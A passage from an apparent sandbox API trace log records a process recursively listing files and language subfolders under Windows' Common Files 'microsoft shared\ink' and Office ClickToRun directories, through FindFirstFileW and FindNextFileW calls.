lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0053.463] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0053.463] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0053.463] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0053.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0053.464] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.464] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0053.464] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0053.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0053.465] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.465] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.465] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.465] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0053.465] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0053.465] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0053.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0053.465] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.465] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.465] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.466] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0053.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0053.466] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0053.466] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0053.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260580 [0053.466] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.466] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.466] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.466] FindClose (in: hFindFile=0x4260580 | out: hFindFile=0x4260580) returned 1 [0053.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0053.466] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0053.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0053.467] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.467] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.467] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.467] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0053.467] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0053.467] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0053.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.738] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.738] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.738] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.738] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.738] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.738] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0054.738] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.739] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 